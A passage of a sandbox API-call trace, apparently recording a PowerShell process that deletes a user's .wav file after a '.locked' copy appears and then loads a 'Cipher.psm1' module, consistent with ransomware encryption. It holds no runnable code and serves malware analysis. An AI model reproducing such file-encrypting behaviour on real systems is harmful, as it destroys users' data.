[0134.786] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Music\\DEMSQUqRTksP.wav" (normalized: "c:\\users\\ciihmnxmn6ps\\music\\demsquqrtksp.wav")) returned 0x20 [0134.786] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Music\\DEMSQUqRTksP.wav", nBufferLength=0x105, lpBuffer=0x99adfa0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Music\\DEMSQUqRTksP.wav", lpFilePart=0x0) returned 0x2c [0134.786] GetFileAttributesW (lpFileName="C:\\" (normalized: "c:")) returned 0x16 [0134.786] GetFileAttributesW (lpFileName="C:\\" (normalized: "c:")) returned 0x16 [0134.786] GetFullPathNameW (in: lpFileName="C:\\", nBufferLength=0x105, lpBuffer=0x99adf24, lpFilePart=0x0 | out: lpBuffer="C:\\", lpFilePart=0x0) returned 0x3 [0134.786] GetFullPathNameW (in: lpFileName="C:\\.", nBufferLength=0x105, lpBuffer=0x99adebc, lpFilePart=0x0 | out: lpBuffer="C:\\", lpFilePart=0x0) returned 0x3 [0134.786] GetFileAttributesW (lpFileName="C:\\Users" (normalized: "c:\\users")) returned 0x11 [0134.786] GetFileAttributesW (lpFileName="C:\\Users" (normalized: "c:\\users")) returned 0x11 [0134.787] GetFullPathNameW (in: lpFileName="C:\\Users", nBufferLength=0x105, lpBuffer=0x99adf24, lpFilePart=0x0 | out: lpBuffer="C:\\Users", lpFilePart=0x0) returned 0x8 [0134.787] GetFullPathNameW (in: lpFileName="C:\\Users\\.", nBufferLength=0x105, lpBuffer=0x99adebc, lpFilePart=0x0 | out: lpBuffer="C:\\Users", lpFilePart=0x0) returned 0x8 [0134.787] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps" (normalized: "c:\\users\\ciihmnxmn6ps")) returned 0x10 [0134.787] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps" (normalized: "c:\\users\\ciihmnxmn6ps")) returned 0x10 [0134.787] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps", nBufferLength=0x105, lpBuffer=0x99adf24, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps", lpFilePart=0x0) returned 0x15 [0134.787] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\.", nBufferLength=0x105, lpBuffer=0x99adebc, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps", lpFilePart=0x0) returned 0x15 [0134.787] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Music" (normalized: "c:\\users\\ciihmnxmn6ps\\music")) returned 0x11 [0134.787] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Music" (normalized: "c:\\users\\ciihmnxmn6ps\\music")) returned 0x11 [0134.788] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Music", nBufferLength=0x105, lpBuffer=0x99adf24, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Music", lpFilePart=0x0) returned 0x1b [0134.788] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Music\\.", nBufferLength=0x105, lpBuffer=0x99adebc, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Music", lpFilePart=0x0) returned 0x1b [0134.788] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Music\\DEMSQUqRTksP.wav" (normalized: "c:\\users\\ciihmnxmn6ps\\music\\demsquqrtksp.wav")) returned 0x20 [0134.788] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Music\\DEMSQUqRTksP.wav", nBufferLength=0x105, lpBuffer=0x99adf28, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Music\\DEMSQUqRTksP.wav", lpFilePart=0x0) returned 0x2c [0134.788] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Music\\DEMSQUqRTksP.wav", nBufferLength=0x105, lpBuffer=0x99adebc, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Music\\DEMSQUqRTksP.wav", lpFilePart=0x0) returned 0x2c [0134.788] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Music\\DEMSQUqRTksP.wav", nBufferLength=0x105, lpBuffer=0x99ae064, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Music\\DEMSQUqRTksP.wav", lpFilePart=0x0) returned 0x2c [0134.788] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99ae524) returned 1 [0134.788] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Music\\DEMSQUqRTksP.wav", nBufferLength=0x105, lpBuffer=0x99ae02c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Music\\DEMSQUqRTksP.wav", lpFilePart=0x0) returned 0x2c [0134.788] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Music\\DEMSQUqRTksP.wav\\", nBufferLength=0x105, lpBuffer=0x99ae000, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Music\\DEMSQUqRTksP.wav\\", lpFilePart=0x0) returned 0x2d [0134.788] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Music\\DEMSQUqRTksP.wav\\*", lpFindFileData=0x99ae24c | out: lpFindFileData=0x99ae24c) returned 0xffffffff [0134.788] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99ae4e8) returned 1 [0134.789] CoTaskMemAlloc (cb=0x404) returned 0x8eb8930 [0134.789] FormatMessageW (in: dwFlags=0x3200, lpSource=0x0, dwMessageId=0x10b, dwLanguageId=0x0, lpBuffer=0x8eb8930, nSize=0x200, Arguments=0x0 | out: lpBuffer="The directory name is invalid.\r\n") returned 0x20 [0134.789] CoTaskMemFree (pv=0x8eb8930) [0134.790] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Music\\DEMSQUqRTksP.wav" (normalized: "c:\\users\\ciihmnxmn6ps\\music\\demsquqrtksp.wav")) returned 0x20 [0134.790] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Music\\DEMSQUqRTksP.wav", nBufferLength=0x105, lpBuffer=0x99adff0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Music\\DEMSQUqRTksP.wav", lpFilePart=0x0) returned 0x2c [0134.790] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Music\\DEMSQUqRTksP.wav", nBufferLength=0x105, lpBuffer=0x99adf6c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Music\\DEMSQUqRTksP.wav", lpFilePart=0x0) returned 0x2c [0134.790] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99ae448) returned 1 [0134.790] GetFileAttributesExW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Music\\DEMSQUqRTksP.wav" (normalized: "c:\\users\\ciihmnxmn6ps\\music\\demsquqrtksp.wav"), fInfoLevelId=0x0, lpFileInformation=0x6a08ab8 | out: lpFileInformation=0x6a08ab8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6ec93550, ftCreationTime.dwHighDateTime=0x1d4a0b2, ftLastAccessTime.dwLowDateTime=0x34895460, ftLastAccessTime.dwHighDateTime=0x1d49fd6, ftLastWriteTime.dwLowDateTime=0x34895460, ftLastWriteTime.dwHighDateTime=0x1d49fd6, nFileSizeHigh=0x0, nFileSizeLow=0xcc41)) returned 1 [0134.790] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99ae444) returned 1 [0134.790] DeleteFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Music\\DEMSQUqRTksP.wav" (normalized: "c:\\users\\ciihmnxmn6ps\\music\\demsquqrtksp.wav")) returned 1 [0134.791] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x99ae3a0, nSize=0x100 | out: lpBuffer="") returned 0x0 [0134.791] EtwEventActivityIdControl (in: ControlCode=0x3, ActivityId=0x99ae778*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae778*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x6f, [1]=0x1a, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0134.792] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Music\\DEMSQUqRTksP.wav.locked" (normalized: "c:\\users\\ciihmnxmn6ps\\music\\demsquqrtksp.wav.locked")) returned 0x20 [0134.792] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Music\\DEMSQUqRTksP.wav.locked" (normalized: "c:\\users\\ciihmnxmn6ps\\music\\demsquqrtksp.wav.locked")) returned 0x20 [0134.792] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Music\\DEMSQUqRTksP.wav.locked", nBufferLength=0x105, lpBuffer=0x99ae058, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Music\\DEMSQUqRTksP.wav.locked", lpFilePart=0x0) returned 0x33 [0134.792] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Music\\DEMSQUqRTksP.wav.locked", nBufferLength=0x105, lpBuffer=0x99ae01c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Music\\DEMSQUqRTksP.wav.locked", lpFilePart=0x0) returned 0x33 [0134.792] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Music\\DEMSQUqRTksP.wav", nBufferLength=0x105, lpBuffer=0x99ae298, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Music\\DEMSQUqRTksP.wav", lpFilePart=0x0) returned 0x2c [0134.792] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x99ae3a0, nSize=0x100 | out: lpBuffer="") returned 0x0 [0134.792] EtwEventActivityIdControl (in: ControlCode=0x3, ActivityId=0x99ae778*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae778*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x70, [1]=0x1a, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0134.794] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae704*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae704*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x70, [1]=0x1a, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0134.794] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x99ae3a0, nSize=0x100 | out: lpBuffer="") returned 0x0 [0134.794] EtwEventActivityIdControl (in: ControlCode=0x3, ActivityId=0x99ae778*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae778*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x71, [1]=0x1a, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0134.794] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae6d8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae6d8*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x70, [1]=0x1a, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0134.794] EtwEventActivityIdControl (in: ControlCode=0x2, ActivityId=0x99ae768*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x71, [1]=0x1a, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1)) | out: ActivityId=0x99ae768*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x71, [1]=0x1a, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0134.795] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae704*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae704*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x71, [1]=0x1a, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0134.795] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x99ae3a0, nSize=0x100 | out: lpBuffer="") returned 0x0 [0134.795] EtwEventActivityIdControl (in: ControlCode=0x3, ActivityId=0x99ae778*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae778*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x72, [1]=0x1a, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0134.795] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae6d8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae6d8*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x71, [1]=0x1a, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0134.795] EtwEventActivityIdControl (in: ControlCode=0x2, ActivityId=0x99ae768*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x72, [1]=0x1a, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1)) | out: ActivityId=0x99ae768*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x72, [1]=0x1a, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0134.796] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae704*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae704*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x72, [1]=0x1a, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0134.796] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x99ae3a0, nSize=0x100 | out: lpBuffer="") returned 0x0 [0134.796] EtwEventActivityIdControl (in: ControlCode=0x3, ActivityId=0x99ae778*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae778*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x73, [1]=0x1a, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0134.796] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae6d8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae6d8*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x72, [1]=0x1a, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0134.796] EtwEventActivityIdControl (in: ControlCode=0x2, ActivityId=0x99ae768*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x73, [1]=0x1a, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1)) | out: ActivityId=0x99ae768*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x73, [1]=0x1a, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0134.797] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae704*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae704*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x73, [1]=0x1a, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0134.797] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x99ae3a0, nSize=0x100 | out: lpBuffer="") returned 0x0 [0134.797] EtwEventActivityIdControl (in: ControlCode=0x3, ActivityId=0x99ae778*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae778*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x74, [1]=0x1a, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0134.797] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae6d8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae6d8*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x73, [1]=0x1a, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0134.797] EtwEventActivityIdControl (in: ControlCode=0x2, ActivityId=0x99ae768*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x74, [1]=0x1a, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1)) | out: ActivityId=0x99ae768*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x74, [1]=0x1a, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0134.799] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae704*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae704*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x74, [1]=0x1a, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0134.799] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99ade98) returned 1 [0134.799] GetFileAttributesExW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Music\\DEMSQUqRTksP.wav.locked" (normalized: "c:\\users\\ciihmnxmn6ps\\music\\demsquqrtksp.wav.locked"), fInfoLevelId=0x0, lpFileInformation=0x6a16bc4 | out: lpFileInformation=0x6a16bc4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x138fe787, ftCreationTime.dwHighDateTime=0x1d4bf19, ftLastAccessTime.dwLowDateTime=0x138fe787, ftLastAccessTime.dwHighDateTime=0x1d4bf19, ftLastWriteTime.dwLowDateTime=0x138fe787, ftLastWriteTime.dwHighDateTime=0x1d4bf19, nFileSizeHigh=0x0, nFileSizeLow=0xcc64)) returned 1 [0134.800] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99ade94) returned 1 [0134.800] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Music\\DEMSQUqRTksP.wav.locked", nBufferLength=0x105, lpBuffer=0x99ad974, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Music\\DEMSQUqRTksP.wav.locked", lpFilePart=0x0) returned 0x33 [0134.800] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Music\\DEMSQUqRTksP.wav.locked" (normalized: "c:\\users\\ciihmnxmn6ps\\music\\demsquqrtksp.wav.locked"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x858 [0134.800] GetFileInformationByHandle (in: hFile=0x858, lpFileInformation=0x99adee0 | out: lpFileInformation=0x99adee0) returned 1 [0134.801] GetConsoleOutputCP () returned 0x1b5 [0134.801] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae39c, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae39c) returned 0 [0134.801] GetConsoleOutputCP () returned 0x1b5 [0134.801] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae434, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae434) returned 0 [0134.802] GetConsoleOutputCP () returned 0x1b5 [0134.802] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae410, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae410) returned 0 [0134.802] GetConsoleOutputCP () returned 0x1b5 [0134.802] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae410, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae410) returned 0 [0134.802] GetConsoleOutputCP () returned 0x1b5 [0134.803] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae39c, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae39c) returned 0 [0134.803] GetConsoleOutputCP () returned 0x1b5 [0134.803] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae434, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae434) returned 0 [0134.803] GetConsoleOutputCP () returned 0x1b5 [0134.803] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae410, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae410) returned 0 [0134.803] GetConsoleOutputCP () returned 0x1b5 [0134.804] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae410, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae410) returned 0 [0134.804] GetConsoleOutputCP () returned 0x1b5 [0134.804] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae39c, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae39c) returned 0 [0134.804] GetConsoleOutputCP () returned 0x1b5 [0134.804] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae434, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae434) returned 0 [0134.805] GetConsoleOutputCP () returned 0x1b5 [0134.805] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae410, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae410) returned 0 [0134.805] GetConsoleOutputCP () returned 0x1b5 [0134.805] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae410, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae410) returned 0 [0134.805] GetConsoleOutputCP () returned 0x1b5 [0134.806] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae39c, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae39c) returned 0 [0134.806] GetConsoleOutputCP () returned 0x1b5 [0134.806] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae434, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae434) returned 0 [0134.806] GetConsoleOutputCP () returned 0x1b5 [0134.806] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae410, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae410) returned 0 [0134.806] GetConsoleOutputCP () returned 0x1b5 [0134.807] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae410, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae410) returned 0 [0134.807] GetConsoleScreenBufferInfo (in: hConsoleOutput=0x234, lpConsoleScreenBufferInfo=0x99ae4d8 | out: lpConsoleScreenBufferInfo=0x99ae4d8) returned 1 [0134.807] GetConsoleOutputCP () returned 0x1b5 [0134.807] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae474, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae474) returned 0 [0134.807] GetConsoleMode (in: hConsoleHandle=0x234, lpMode=0x99ae4e0 | out: lpMode=0x99ae4e0) returned 1 [0134.808] WriteConsoleW (in: hConsoleOutput=0x234, lpBuffer=0x6a3d73c*, nNumberOfCharsToWrite=0x77, lpNumberOfCharsWritten=0x99ae4d8, lpReserved=0x0 | out: lpBuffer=0x6a3d73c*, lpNumberOfCharsWritten=0x99ae4d8*=0x77) returned 1 [0134.808] GetConsoleMode (in: hConsoleHandle=0x234, lpMode=0x99ae4e0 | out: lpMode=0x99ae4e0) returned 1 [0134.808] WriteConsoleW (in: hConsoleOutput=0x234, lpBuffer=0x68b591c*, nNumberOfCharsToWrite=0x2, lpNumberOfCharsWritten=0x99ae4d8, lpReserved=0x0 | out: lpBuffer=0x68b591c*, lpNumberOfCharsWritten=0x99ae4d8*=0x2) returned 1 [0134.815] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99aee78*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99aee78*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x74, [1]=0x1a, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0134.815] EtwEventActivityIdControl (in: ControlCode=0x2, ActivityId=0x99aeedc*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x66, [1]=0x1a, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1)) | out: ActivityId=0x99aeedc*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x66, [1]=0x1a, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0134.815] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x99aeb14, nSize=0x100 | out: lpBuffer="") returned 0x0 [0134.815] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WindowsPowerShell\\Modules\\Cipher\\Cipher.psm1", nBufferLength=0x105, lpBuffer=0x99ae7f0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WindowsPowerShell\\Modules\\Cipher\\Cipher.psm1", lpFilePart=0x0) returned 0x4c [0134.815] EtwEventActivityIdControl (in: ControlCode=0x3, ActivityId=0x99aeeec*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99aeeec*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x75, [1]=0x1a, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0134.815] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99aee4c*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, 